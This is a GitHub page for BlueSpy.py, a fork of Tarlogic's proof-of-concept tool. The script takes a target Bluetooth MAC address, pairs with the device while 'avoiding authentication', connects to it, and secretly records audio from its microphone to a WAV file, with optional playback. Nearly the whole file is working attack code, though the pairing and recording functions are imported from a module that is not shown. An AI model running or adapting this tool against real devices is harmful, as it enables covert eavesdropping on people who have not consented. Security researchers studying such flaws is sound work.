forked from TarlogicSecurity/BlueSpy
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathBlueSpy.py
94 lines (82 loc) · 2.98 KB
/
BlueSpy.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/env python3
import argparse
from interface import bcolors, color_print, log_info, log_warn, input_yn
from core import connect, BluezTarget, BluezAddressType, pair, record, playback
import time
def main():
# Cool banner...
color_print(bcolors.HEADER, "░█▀▄░█░░░█░█░█▀▀░█▀▀░█▀█░█░█░")
color_print(bcolors.HEADER, "░█▀▄░█░░░█░█░█▀▀░▀▀█░█▀▀░░█░░")
color_print(bcolors.HEADER, "░▀▀░░▀▀▀░▀▀▀░▀▀▀░▀▀▀░▀░░░░▀░░")
color_print(bcolors.HEADER, "░▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀░")
print(f"Bluetooth audio recording tool by {bcolors.HEADER}Tarlogic{bcolors.ENDC}")
# Parse command line arguments...
parser = argparse.ArgumentParser(
prog="No interaction recording",
description="Try to pair to a device, connect to it and record sound without user interaction",
)
parser.add_argument(
"-a",
"--target-address",
help="Target device MAC address",
required=True,
dest="address",
)
parser.add_argument(
"-t",
"--target-address-type",
help="Target device MAC address type",
dest="address_type",
type=lambda t: BluezAddressType[t],
choices=list(BluezAddressType),
default=BluezAddressType.BR_EDR,
)
parser.add_argument(
"-f",
"--file",
help="File to store recorded audio",
dest="outfile",
default="recording.wav",
)
parser.add_argument(
"-s",
"--sink",
help="Sink to play the audio back",
dest="sink",
default="alsa_output.pci-0000_00_05.0.analog-stereo",
)
parser.add_argument(
"-v",
"--verbose",
help="Show verbose output",
dest="verbose",
default=False,
action='store_true'
)
args = parser.parse_args()
# Convert args to target
target = BluezTarget(args.address, args.address_type)
# Run the PoC!
log_info(f"Avoiding authentication with {args.address}...")
log_info(f"Generating shared key...")
paired = pair(target, verbose=args.verbose)
if not paired:
log_warn(f"Authentication error while trying to pair")
log_warn(f"The device probably is not vulnerable...")
return
log_warn(f"Key generated")
log_info(f"The device is vulnerable!")
time.sleep(1)
log_info(f"Establishing connection...")
connect(target, verbose=args.verbose)
time.sleep(3)
log_info(f"Starting audio recording...")
log_warn(f"Recording!")
record(target, outfile=args.outfile, verbose=args.verbose)
log_warn(f"Recording stored in \"{args.outfile}\"")
play_back = input_yn("Play audio back?")
if play_back:
playback(args.sink, args.outfile, verbose=args.verbose)
log_info(f"Exiting")
if __name__ == "__main__":
main()